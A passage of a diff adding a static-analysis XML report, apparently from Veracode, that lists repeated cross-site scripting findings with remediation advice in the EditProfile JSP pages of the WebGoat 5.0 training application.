+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"106\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"61\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"162\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"167\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"113\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"69\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"2\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"266\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionNotes().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparameter,
+        java.sql.statement.executequery, java.sql.preparedstatement.executequery,
+        and javax.servlet.servletrequest.getparametervalues. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"119\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"74\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"233\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable stub.getLastName().
+        The tainted data originated from an earlier call to java.sql.statement.executequery.
+        The tainted data is directed into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"0\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"121\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"75\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"-1\">\n<note>The source of the tainted data in this web
+        application flaw is not a web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"220\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"188\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getDisciplinaryActionDate().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"123\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"77\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"15\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/SQLInjection/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.SQLInjection.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"183\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/CrossSiteScripting/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.CrossSiteScripting.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
+        web request.</note>\n</exploitability_adjustment>\n</exploitability_adjustments>\n</flaw>\n<flaw
+        severity=\"0\" categoryname=\"Improper Neutralization of Script-Related HTML
+        Tags in a Web Page (Basic XSS)\" count=\"1\" issueid=\"191\" module=\"WebGoat-5.0-with-jsp.war\"
+        type=\"javax.servlet.jsp.JspWriter.print\" description=\"This call to javax.servlet.jsp.JspWriter.print()
+        contains a cross-site scripting (XSS) flaw. The application populates the
+        HTTP response with user-supplied input, allowing an attacker to embed malicious
+        content, such as Javascript code, which will be executed in the context of
+        the victim's browser. XSS vulnerabilities are commonly exploited to steal
+        or manipulate cookies, modify presentation of content, and compromise confidential
+        information, with new attack vectors being discovered on a regular basis.
+        The first argument to print() contains tainted data from the variable employee.getTitle().
+        The tainted data originated from earlier calls to javax.servlet.servletrequest.getparametervalues,
+        javax.servlet.servletrequest.getparameter, java.sql.statement.executequery,
+        and java.sql.preparedstatement.executequery. The tainted data is directed
+        into an output stream returned by javax.servlet.jsp.JspWriter.\r\n\r\nUse
+        contextual escaping on all untrusted data before using it to construct any
+        portion of an HTTP response. The escaping method should be chosen based on
+        the specific use case of the untrusted data, otherwise it may not protect
+        fully against the attack. For example, if the data is being written to the
+        body of an HTML page, use HTML entity encoding (e.g. StringEscapeUtils.escapeHtml()
+        in J2EE or HttpUtility.HtmlEncode() in ASP.NET). For more details on contextual
+        escaping, see https://www.owasp.org/index.php/XSS_%28Cross_Site_Scripting%29_Prevention_Cheat_Sheet.
+        In addition, as a best practice, always validate user-supplied input to ensure
+        that it conforms to the expected format, using centralized data validation
+        routines when possible.\r\n\r\nReferences: \r\nCWE (http://cwe.mitre.org/data/definitions/79.html)
+        \r\nOWASP (http://www.owasp.org/index.php/XSS) \r\nWASC (http://webappsec.pbworks.com/Cross-Site-Scripting)\r\n\r\n\"
+        note=\"\" cweid=\"80\" remediationeffort=\"3\" exploitLevel=\"2\" categoryid=\"20\"
+        pcirelated=\"true\" date_first_occurrence=\"2012-02-29 16:13:33 UTC\" remediation_status=\"New\"
+        cia_impact=\"ppn\" grace_period_expires=\"2012-03-01 14:26:18 UTC\" affects_policy_compliance=\"true\"
+        mitigation_status=\"none\" mitigation_status_desc=\"Not Mitigated\" sourcefile=\"EditProfile_jsp.java\"
+        line=\"133\" sourcefilepath=\"com/veracode/compiledjsp/xWebGoat50war/lessons/RoleBasedAccessControl/\"
+        scope=\"com.veracode.compiledjsp.xWebGoat50war.lessons.RoleBasedAccessControl.EditProfile_jsp\"
+        functionprototype=\"void _jspService(javax.servlet.http.HttpServletRequest,
+        javax.servlet.http.HttpServletResponse)\" functionrelativelocation=\"86\">\n<exploitability_adjustments>\n<exploitability_adjustment
+        score_adjustment=\"1\">\n<note>This source of the tainted data is an external
